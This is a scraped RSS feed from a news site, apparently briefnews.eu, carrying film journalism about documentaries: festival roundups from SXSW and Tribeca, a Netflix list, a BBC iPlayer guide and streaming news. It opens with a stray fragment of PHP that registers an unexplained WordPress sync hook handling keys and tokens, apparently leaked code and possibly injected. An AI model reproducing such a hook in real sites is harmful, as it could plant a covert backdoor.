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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); documentaries – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 16 Mar 2019 05:08:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png documentaries – Brief News https://briefnews.eu 32 32 The Best and Worst Documentaries of the 2019 SXSW Film Festival https://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/ https://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/#respond Sat, 16 Mar 2019 05:08:28 +0000 http://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/ AUSTIN, TX: The 33rd annual SXSW Conference and Festivals is winding down this weekend — as is the 26th edition of the SXSW Film Festival, which your correspondent was lucky enough to spend the past week or so covering. I made an effort to split my viewing, as equally as possible, between the festival’s fiction and non-fiction offerings; our rundown of those narrative selections will run on Monday, but I wanted to share some documentary recommendations today, for you Austin natives or fest visitors who are in it for the long haul.

SXSW doesn’t get a lot of credit for its documentary slate (I typically hear more about the offerings at Sundance, Tribeca, and specialty festivals like True/False), perhaps because their selections tend to check the same boxes every year. But some of these are awfully good.

THE OUTLIER

The Hottest August

The set-up for Brett Story’s observational documentary is simplicity itself. Over the course of one month, August of 2017, she interviews several New Yorkers about the things that are important to them: family, work, fitness, preservation, dance, investment, and (swear to God) “robot communism.” But these aren’t just snapshots of regular folks; Story and cinematographer Derek Howard are speaking volumes in the way they see and show all of these people, and display a savvy understanding and articulation of exactly what American life is at this particular, peculiar moment.

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SXSW SPECIALS

“Stern warning of the dangers of technology gone amuck that toasts the brave digital warriors who are holding down the fort” and “Affectionate celebration of a rascally chef” aren’t exactly revolutionary additions to the SXSW slate, but these are still worth a look.

Bellingcat: Truth in a Post-Truth World

This peek into the “open source journalism” of the online collective Bellingcat is enlightening and informative, delving into how they conduct investigations of image identification, geolocation, and disinformation campaigns by following the digital crumbs. Director Hans Pool wisely adopts a tone and style akin to a thriller, with moody photography and intrigue-dripping music. But the film could do with a bit more skepticism; it only gives the briefest of lip service to legitimate concerns about lack of conventional expertise, and then only to note that they’re often adopted by voices with significant ulterior motives. We can’t take anyone entirely at their word — that is, after all, one of the lessons of the movie.

Nothing Fancy: Diana Kennedy

“I’ve had a funny life, let’s face it.” So says Ms. Kennedy early in this bio-documentary, and she’s not wrong. Ninety-five and kicking at the time of its production, Kennedy is a white British woman who’s become the foremost English-speaking expert on Mexican cuisine. And she isn’t just a TV and cookbook cook; she’s a historian, working to preserve the tradition via research and publication. Director Elizabeth Carroll doesn’t really draw outside the lines much, stylistically speaking (and that’s fine; hell, it’s right there in the title), but her camera is in the right places at the right times, and this is a persuasive portrait of a dazzling woman — and a real firecracker.

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ELECTION SEASON

Since Robert Drew and company’s “Primary” back in 1960, the campaign-trail documentary has been one of the most reliable non-fiction standbys. Such films seem particularly urgent right now, and these two spotlight two rising stars in the Democratic party, with varying success.

Running With Beto

Seeing David Modigliani’s account of Beto O’Rourke’s underdog 2016 campaign to unseat Ted Cruz, right in the heart of Austin, was sort of like going to a Beto rally; the premiere crowd sounded like supporters, duly cheering his successes and hissing for his opponents. Taken on its own terms, Modiglianis film is reasonably engaging, if a little standard — it captures human moments, provides what seems an authentic portrait of its subject, and finds side characters in his staff and volunteers who are equally compelling, if not more so. But the film is ultimately hobbled by the fact that it ends with a defeat, which kind of takes the air out of what comes before; Rachel Maddow is seen, on election night, saying that the loss “feels like a blunt ending,” and she’s not wrong.

Knock Down the House

Rachel Lears’ documentary has been dubbed “the AOC movie” since it premiered at Sundance, and it’s important to note that it’s not just a profile of the insurgent candidate from the Bronx and her come-from-behind primary victory over longtime Representative Joe Crowley in New York’s 14th. Lears and her team also follow three more women, from West Virginia, Missouri, and Nevada, who mounted primary challenges against Centrist Dems. But Alexandria Ocasio-Cortez certainly gets the majority of screen time, and there’s nothing wrong with that; she gives the best sound bytes (“Everyday Americans deserve to be represented by everyday Americans”), and her victory, after the other three defeats, gives the picture a necessary closing lift. But Knock Down isn’t just a puff piece; it’s a funny, sharp doc, moving at a good clip and providing notes of both realism and inspiration.

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IT’S ALSO A MUSIC FESTIVAL

SXSW began as a music festival, and is perhaps still best known as such, so it’s not surprising that the film side’s programmers go out of their way to show movies about music. Most are scheduled towards the end of the fest, when the music folks take over, but I caught a couple before heading out of town.

The Boy Band Con: The Lou Pearlman Story

Based on the subject matter and the producer credit for Lance Bass, I expected this documentary on the crooked impresario behind *NSYNC, Backstreet Boys, Aaron Carter, and O-Town to be, basically, a Behind the Music situation — and for the first half hour or so, it is. But director Aaron Kunkel has more on his mind, crafting not only an exposé of Pearlman’s dirty deals, but a psychological profile of a pathological liar and crook, and then the story of a Madoff-style fleecing. It’s a rise and fall story, meticulously detailed and full of fascinating, upsetting sidebars, and even some rather tasty tea.

Carmine Street Guitars

Rick Kelly has spent decades working out of the title shop in Greenwich Village, building custom guitars with wood rescued from torn-down NYC buildings — “the bones of old New York,” as he puts it. Ron Mann’s documentary eschews most of the standard devices; there’s no narration, no talking heads, no archival materials. He just spends a few days hanging out in the shop, watching Rick and his apprentice Cindy work, and eavesdropping as musicians and Village figures (including Lenny Kaye, Bill Frisell, Wilco’s Nels Cline, and the Roots’ Kirk Douglas) pop in to shoot the breeze and play music. They end up doing the interviewing, and if some of the conversations sound a bit too staged, that’s a minor complaint; this is a lovely little movie, propelled by genuine affection for music, craftsmanship, and the city New York used to be.

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FUNNY PEOPLE

Fun fact: there’s also a simultaneous SXSW Comedy Festival, and wouldn’t you know it, some of the documentaries tie in nicely to that as well.

It Started As a Joke

Eugene Mirman proposed the idea late one night, a little bit drunk: “What if we made a festival that’s just making fun of other festivals?” But this chronicle of the 10-year run of the Eugene Mirman Comedy Festival isn’t just a “how they did it” affair, with clips and stills from shows with titles like “Yikes! Most of These Comedians Were Born After ‘Police Academy 2’ Was in Theaters!” It’s also a portrait of a specific moment in the burgeoning Brooklyn comedy scene, before everybody moved out to L.A. and got good jobs. And it’s a warm and inviting bio-doc of Mirman, one of the funniest and most delightful people in comedy, who put all of this together while dealing with unthinkable personal troubles. And on top of all of that, there’s a lot of really good stand-up too.

I Am Richard Pryor

Here’s the thing: there was a really excellent Richard Pryor bio-doc not that long ago (2015, to be exact) called Richard Pryor: Omit the Logic. And while this one offers up a few new anecdotes and a couple of valuable new interview subjects (and a few that are, to put it politely, less so), it’s hard to find a convincing reason for it to simultaneously exist. Early on, director Jesse James Miller seems interested less in biography that sociological perspective, which would’ve been a smarter way to go, but it soon descends into the same journey as Logic (and his 2014 PBS profile Icon, and his 2003 Comedy Central documentary). The earlier film has a more confident sense of storytelling; may as well seek that one out. Or better yet, just listen to some Richard Pryor albums.

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MOOOOOOVIES

But this is the cleanest tie-in of all: people who go to film festivals like seeing movies about movies. These two programs helped curious viewers rethink some of the most ubiquitous movies of our lifetime.

Joe Bob Briggs: How the Redneck Saved Hollywood

To be clear, this was not a documentary per se (though I could certainly see it being made into one); Joe Bob Briggs appeared live at the Alamo Drafthouse to front his multi-media presentation about the redneck in cinema, and in American life in general. A jokey but affectionate tribute to movies with titles like Country Cuzzins, this was an evening full of great clips, common sense ultimatums (“You’re either a Forrest Gump person or a Sling Blade person”), jaw-dropping discoveries (I have a whole list of things to look up and track down) and good one-liners (“In the movies it would be called ‘moonshine’; today it’d be called ‘artisanal craft bourbon’”).

Romantic Comedy

Director Elizabeth Sankey (and a handful of additional contributors) revisit and comment on the tropes, rules, and messaging — sometimes subtle, sometimes not — of contemporary romantic comedy in this thoughtful and thought-provoking essay film. “This is how dominant romantic comedies have been in my life,” she explains, revisiting the life they helped her envision, the promises they made, and the regressive ideas they implanted. Sankey covers a lot of ground in her compact 78-minute running time, illustrating her points with inventive supercuts and ingenious juxtapositions, and while there are occasional, minor issues of context (some of these clips are themselves critiquing the tropes they’re presented as exemplifying), this is an exuberant and insightful work of necessary film criticism.

Alexandria Ocasio-Cortez    Backstreet Boys    Beto O’Rourke    Eugene Mirman    Joe Bob Briggs    Lance Bass    NSYNC    Richard Pryor    SXSW 2019

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]]> https://briefnews.eu/the-best-and-worst-documentaries-of-the-2019-sxsw-film-festival/feed/ 0 Apple gets first crack at documentaries from Ron Howard https://briefnews.eu/apple-gets-first-crack-at-documentaries-from-ron-howard/ https://briefnews.eu/apple-gets-first-crack-at-documentaries-from-ron-howard/#respond Sun, 20 Jan 2019 14:33:38 +0000 http://briefnews.eu/apple-gets-first-crack-at-documentaries-from-ron-howard/

Apple may have more than a few documentaries on tap for its upcoming streaming video service. Variety has learned that Apple has a “first-look” deal with Imagine Documentaries, the production company from Ron Howard and Brian Grazer. The move will give Apple the chance to snap up non-fiction works before other companies can jump in. While this won’t guarantee that Apple will buy everything Imagine makes, it could leave competitors with shows that Apple either doesn’t think will sell or don’t fit its family-friendly culture.

It could be a coup. Imagine may be best known for Howard’s documentary on The Beatles’ touring years, but it has also produced docs on modern superstars like Jay-Z and Katy Perry. Upcoming projects tackle social subjects like women’s issues and fatherhood. Apple’s deal could make it a go-to source for these high-profile documentaries, and might lure people away from Netflix or other services where non-fiction has become a selling point.

It’s still not certain when Apple’s service will debut. Rumors have pointed to March, but the company isn’t likely to launch until it believes it has a large-enough selection of originals. Whenever it launches, Imagine productions might not be part of the lineup due to the timing.

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TV presenter Stacey Dooley performed a quickstep to a cover of Kylie Minogue’s hit Dancing in her Striclty Come Dancing debut last Saturday. 

Her impressive performance with her professional dance partner Kevin Clifton earned them 24 points. 

How to watch Stacey Dooley’s BBC  Three series 

In her documentaries, Stacey investigates current affairs affecting young people – especially women – all over the world. 

STRICTLY COME DANCING STAR TAKES SWIPE AT KEVIN CLIFTON

Many of Stacey’s documentaries are available to watch for free on BBC iPlayer. 

To watch her shows, visit bbc.co.uk/iplayer and type Stacey Dooley in the Search BBC iPlayer box in the top right corner of the screen. 

A selection of her programmes will then appear in a list and you can click on any that spark you interest. 

Some of her documentaries include her Stacey Dooley Investigates series, where the latest explores a community where people are shot by their neighbours. 

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She also travels to America to meet people facing an uncertain future in her documentary Face to Face with Armageddon.

Stacey came Face to Face with Isis in one of her shows after she travelled to Iraq and met young women being used as sex slaves. 

She also visited Greece in 2016 to learn about Migrant Kids in Crisis, who have fled war and trying to start new lives in Europe. 

Who is Stacey Dooley? 

STACEY DOOLEY REVEALS HORRIFYING STORK OF VIOLENT ATTACK 

Stacey Jaclyn Dooley was born on March 9, 1987 and grew up in Luton. 

She previously worked as a shop assistant at Luton Airport.

However, at the age of 21, Stacey appeared as a participant on the BBC Three TV documentary series Blood, Sweat and T-shirts in 2008. 

After her appearance on this show, she was then given her own series, Stacey Dooley Investigates in 2009. 

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]]> https://briefnews.eu/stacey-dooley-documentaries-how-to-watch-stacey-dooleys-bbc-three-series/feed/ 0 The Best and Worst Documentaries of the 2018 Tribeca Film Festival https://briefnews.eu/the-best-and-worst-documentaries-of-the-2018-tribeca-film-festival/ https://briefnews.eu/the-best-and-worst-documentaries-of-the-2018-tribeca-film-festival/#respond Tue, 01 May 2018 19:50:47 +0000 http://briefnews.eu/the-best-and-worst-documentaries-of-the-2018-tribeca-film-festival/ One of these years, I’m just gonna go all in and only go to the Tribeca Film Festival’s documentaries. It’s not that the New York-based fest – which came to a close yesterday – doesn’t have narrative titles worth seeing (watch this space later today to hear about some of those). But their non-fiction slate is such an embarrassment of riches, it’s become one of the essential doc fests in the country. These were some of this year’s highlights.

THE CLOSING NIGHT MOVIE THAT’S A TV SHOW

The Fourth Estate
The first episode of Liz Garbus’s new Showtime documentary series – presented as the fest’s closing night film – has an opening theme by Trent Reznor and Atticus Ross, in their customary foreboding style, and it’s entirely appropriate. The subject is the New York Times in the Trump era, a period that executive editor Dean Baquet predicts will be “a huge test, in a lot of ways.” Garbus shadows multiple protagonists, reporters and editors in both the Washington and New York bureaus, and taps in to the intensity and energy of these newsrooms, where a story will suddenly just happen and supersede everything else. More valuably, for every five moments of intentional truth, she catches an accidental one – like when Maggie Haberman, who covered Trump for New York tabloids before either of them were on the nation stage, recalls, “Trump was a quote you would try to get, because he would juice up a story” (which was kind of the problem with the coverage of the entire campaign). Coming to an end rather than a conclusion, this is definitely the first episode of a TV show. But it’s one I will certainly keep watching.

                                

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]]> https://briefnews.eu/the-best-and-worst-documentaries-of-the-2018-tribeca-film-festival/feed/ 0 47 documentaries on Netflix right now that will make you smarter https://briefnews.eu/47-documentaries-on-netflix-right-now-that-will-make-you-smarter/ https://briefnews.eu/47-documentaries-on-netflix-right-now-that-will-make-you-smarter/#respond Sat, 24 Feb 2018 19:17:44 +0000 http://briefnews.eu/47-documentaries-on-netflix-right-now-that-will-make-you-smarter/ Jim and Andy Francois Duhamel Netflix finalFrancois Duhamel/Netflix

One of the great things about Netflix is that it has brought thoughtful, compelling documentaries to a much wider audience — something filmmakers could only dream of a decade ago.

And with binge-worthy titles like Netflix original “Jim & Andy: The Great Beyond” and Oscar-nominated “Last Men in Aleppo” a click away, you can get a lot of great nonfiction viewing any night of the week.

You’ll learn a lot more about the world, but don’t worry — you’ll also be entertained.

Here are 47 documentaries we think you should stream right away on Netflix.

Note: Numerous Netflix titles drop off the streaming service monthly, so the availability of titles below may change.

1. “13th”

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Director Ava DuVernay looks at the history of the US prison system and how it relates to the nation’s history of racial inequality.

2. “Amanda Knox”

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The murder trial in Italy of the American exchange student Amanda Knox, who is now free, captivated the world in the early 2000s. This Netflix original looks back at the case and gets the perspective of Knox and others closely involved.

3. “The Battered Bastards of Baseball”

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In a fascinating look at one of the more colorful stories in baseball lore, directors Chapman and Maclain Way follow the Portland Mavericks, an independent baseball team owned by the movie star Bing Russell (Kurt Russell’s father) who threw out all the conventions of the national pastime to build a regional sensation in the late 1970s.


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]]> https://briefnews.eu/47-documentaries-on-netflix-right-now-that-will-make-you-smarter/feed/ 0 Pokémon Go enlists Stephen Fry in spoof of nature documentaries https://briefnews.eu/pokemon-go-enlists-stephen-fry-in-spoof-of-nature-documentaries/ https://briefnews.eu/pokemon-go-enlists-stephen-fry-in-spoof-of-nature-documentaries/#respond Thu, 01 Feb 2018 13:15:58 +0000 http://briefnews.eu/pokemon-go-enlists-stephen-fry-in-spoof-of-nature-documentaries/

Nature documentaries have brought so much joy in the world, like David Attenborough’s god-tier voiceovers and Benedict Cumberbatch’s inability to say “penguin.” Today, Niantic’s throwing its safari hat in the ring with a Pokémon Go trailer narrated by the inimitable Stephen Fry.

The short cinematic shows off some of the new Pokémon that have joined the mobile augmented reality game’s roster, all from the Hoenn region and hailing from Pokémon Ruby and Sapphire. New additions to Pokémon Go include the water-type Wailord and electric-types Plusle and Minun.

Pokémon Go debuted in summer 2016 and became an instant hit. As of June 2017, it’s earned more than $ 1.2 billion. Though it’s no longer the viral sensation it was at launch, Niantic has been rolling out content updates for its devoted fan base. It’s gradually added more Legendary creatures, dynamic weather, and updates to features like the gym system. It also hosts in-game events where players have a higher chance to find certain types of creatures.

And of course, it’s added more Pokémon to capture — though unfortunately, when you see them out in the wild, Stephen Fry won’t be there to narrate the occasion.

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SWING AND A MISS

Our New President

Maxim Pozdorovkin’s profoundly depressing documentary details, with copious clips, the propaganda campaign waged on Russian television and web outlets during the 2016 Presidential campaign, a parade of Clinton smears and Trump hagiography so flagrantly false, they’re almost hilarious. The outcome makes it a bit less of a knee-slapper, particularly since Pozdorovkin digs up clips of Putin and his “journalists” all but bragging about swinging the election. At its best, President is a witty repurposed media collage, its mixture of juxtapositions, music cues, and archival clips displaying a pronounced Atomic Café influence. But it’s also far too scattershot, with some dodgy digressions and far too many YouTube videos of tributes, testimonials, and (gulp) songs. They’re not institutional, they’re individual – vapor trails, but not the engine – so they’re far less compelling (it feels like the filmmakers were just padding the already-slender 77 minute running time). And it ends far too abruptly, though perhaps because this is still very much a story in progress.

                            

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  • “Blue Planet II” premieres in the US on Saturday, January 20 at 9 pm ET.
  • For the series, producers spent more than 6,000 hours underwater over four years, visiting 39 countries on 125 expeditions.
  • The footage they captured is breathtaking, heartbreaking, and stunning.

Earth’s oceans make life possible. They’re the reason that when the planet is viewed from space, we call it a “blue dot.”

“Blue Planet II,” a BBC Natural History Unit production that premieres in the US on Saturday, offers the most breathtaking look at the oceans yet.

The producers take viewers to the surprisingly full-of-life waters 3,280 feet deep in the Antarctic. The cameras show an octopus battling a shark in a struggle to stay alive. There’s a journey to finally discover where whale sharks give birth, and a look at how orcas use their powerful tails to kill herring with shockwaves.

At one point, the show’s production team even filmed life in the deepest parts of the ocean, seven miles down, where scientists didn’t know anything could live. Creatures there are under pressure equivalent to 50 jumbo jets stacked on top of each other.

There are at least 12 scientific papers being published based on what the teams observed.

“As filmmakers, it has been unbelievably exciting to make these films in collaboration and true unity with the scientists who can unlock the secrets to this magical world,” Orla Doherty, the producer of the new series’ second and seventh episodes, told Business Insider. “I feel like we’ve pushed the boundary of what we know about the ocean just that little bit more.” 

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Our blue planet

The original “Blue Planet” series came out in 2001, and was one of the first nature documentaries narrated by David Attenborough. It captivated the world with the mystery and beauty of Earth’s sees, and was followed by other stunning series like “Planet Earth” and “Life,” which each showed how remarkable our planet is from other new perspectives.

In “Blue Planet II,” the producers take viewers further and deeper underwater to show how alien and otherworldly the ocean can be and remind humans of how connected we are to the sea.

“This place isn’t just beautiful, it isn’t just full of extraordinary animals doing really really incredible things,” Doherty said. “Once you then stop and think, actually it’s a healthy, thriving, vibrant ocean that’s full of life and full of all the ecosystems doing their function, performing the services they do, that is what makes it okay for us to be living on this planet.” 

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True natural history

As huge and full of life as the ocean is, people have the ability to impact it. The many ways in which human activity is causing widespread harm to the ocean and the creatures in it are shown to heartbreaking effect in several episodes.

“We didn’t go out there as an environmental series at all but we went out there to film natural history and the natural history is that [the oceans are] changing,” Doherty. “I went out to film deep sea corals, ancient animals that have been growing in the darkness of the deep, and what I found was a rubble field because a trawler had been through and had razed the corals to the ground. We came across these scenes over and over again, so it just became our obligation to include some of them because to show our audience an ocean and not show some of the ways we are changing it would have just been so untrue.”

As hard to watch as some of those scenes are, they’re powerful.

The show airs simultaneously on January 20 at 9 pm ET/8 pm Central on BBC America, AMC, IFC, WE TV, and Sundance TV. Check out the trailer below.

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It’s easy enough to find concert movies or music documentaries online, but watching them across various services is kind of a pain. Jazz legend Quincy Jones wants to help with that. Along with a French TV producer, Jones is launching Qwest TV. For between €7.49 and €9.90 per month ($ 8.83 – $ 11.68; the higher price is for HD/4K streaming) you’ll get access to “hundreds of hours” of jazz programming, sourced from European TV and other places. Annual subscriptions are available as well.

Jones is hand-picking the first round of videos, and from there a different curator will play tastemaker each subsequent month, according to the New York Times. Each video is accompanied by an essay from either a journalist or a jazz expert. Jones seems optimistic that the service will at once help preserve and present jazz in a way that’s particularly suited for modern audiences. “I know I won’t convert the world to jazz,” he said. “If I serve high quality programs in HD, with good curation and have a good, close relationship with my audience, I’ll be fine.”

That confidence doesn’t seem misplaced. Earlier this year the service almost doubled its €75,000 ($ 88,447) Kickstarter goal. Qwest TV goes live December 15th.

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]]> https://briefnews.eu/quincy-jones-has-a-streaming-service-for-jazz-documentaries/feed/ 0 ‘The Work’ Trailer: A Look at One of the Year’s Most Acclaimed and Intense Documentaries https://briefnews.eu/the-work-trailer-a-look-at-one-of-the-years-most-acclaimed-and-intense-documentaries/ https://briefnews.eu/the-work-trailer-a-look-at-one-of-the-years-most-acclaimed-and-intense-documentaries/#respond Fri, 13 Oct 2017 17:54:33 +0000 http://briefnews.eu/the-work-trailer-a-look-at-one-of-the-years-most-acclaimed-and-intense-documentaries/ The Work trailer

Nearly 20 years ago, a program started inside Folsom Prison where some of California’s most hardened convicts would invite members of the public to join them in group therapy sessions. The new documentary The Work examines a recent edition of this program, and an intense new trailer reveals what happened. Watch The Work trailer below.

Critics and audiences who saw The World at SXSW raved about the Jairus McLeary and Gethin Aldous-directed documentary. “Anyone struggling to find empathy or common ground with people unlike themselves should watch this film as required viewing,” said Film Threat. “A compelling emotional display, one that captures masculinity at its most innocent and leads to profound displays of compassion,” proclaimed RogerEbert.com.

The Work trailer

Filmmakers McLeary and Aldous were given access to film what many of us in the outside world have no knowledge of, and they appear to have captured a truly intense, emotional journey. The trailer for The Work unfolds with an ever-mounting sense of both dread and pathos, hinting at one of the most unique films of the year. Here’s the official synopsis.

Set inside a single room in Folsom Prison, “The Work” follows three men from outside as they participate in a four-day group therapy retreat with level-four convicts. Over the four days, each man in the room takes his turn at delving deep into his past. The raw and revealing process that the incarcerated men undertake exceeds the expectations of the free men, ripping them out of their comfort zones and forcing them to see themselves and the prisoners in unexpected ways. “The Work” offers a powerful and rare look past the cinder block walls, steel doors and the dehumanizing tropes in our culture to reveal a movement of change and redemption that transcends what we think of as rehabilitation.

Co-director McLeary told AFI that preparation for the film alone was intense, saying the film’s crew “needed to attend at least one four-day event and get a layout of the location, get to know the men in blue themselves and most importantly do some of their own personal work to gain a sensitivity that would not disturb the very thing we were hoping to capture. Only afterwards, would they give us their trust and consent.” McLeary also described what he most hoped audiences would take away from the film:

It’s my hope that the viewer will grasp the the risks that the convicts who participate in this kind of group therapy are taking to change. The work they do together in their circles could have life or death consequences out on the yard. That’s how important this work is to them. But those who stick with the program to do this work by bring in other participants and the numbers are growing. Over time the number of convicts on the yard doing this work has grown a that such that it’s had a positive net effect on the entire yard as the rate of violent incidences decrease. Change the environment and you change the system. and continued successful program participation could be very influential with parole boards. It could mean the difference between freedom and life imprisonment – whether they are released or not.

The Work opens in theaters on October 25, 2017 in Los Angeles and October 27, 2017 in New York City.

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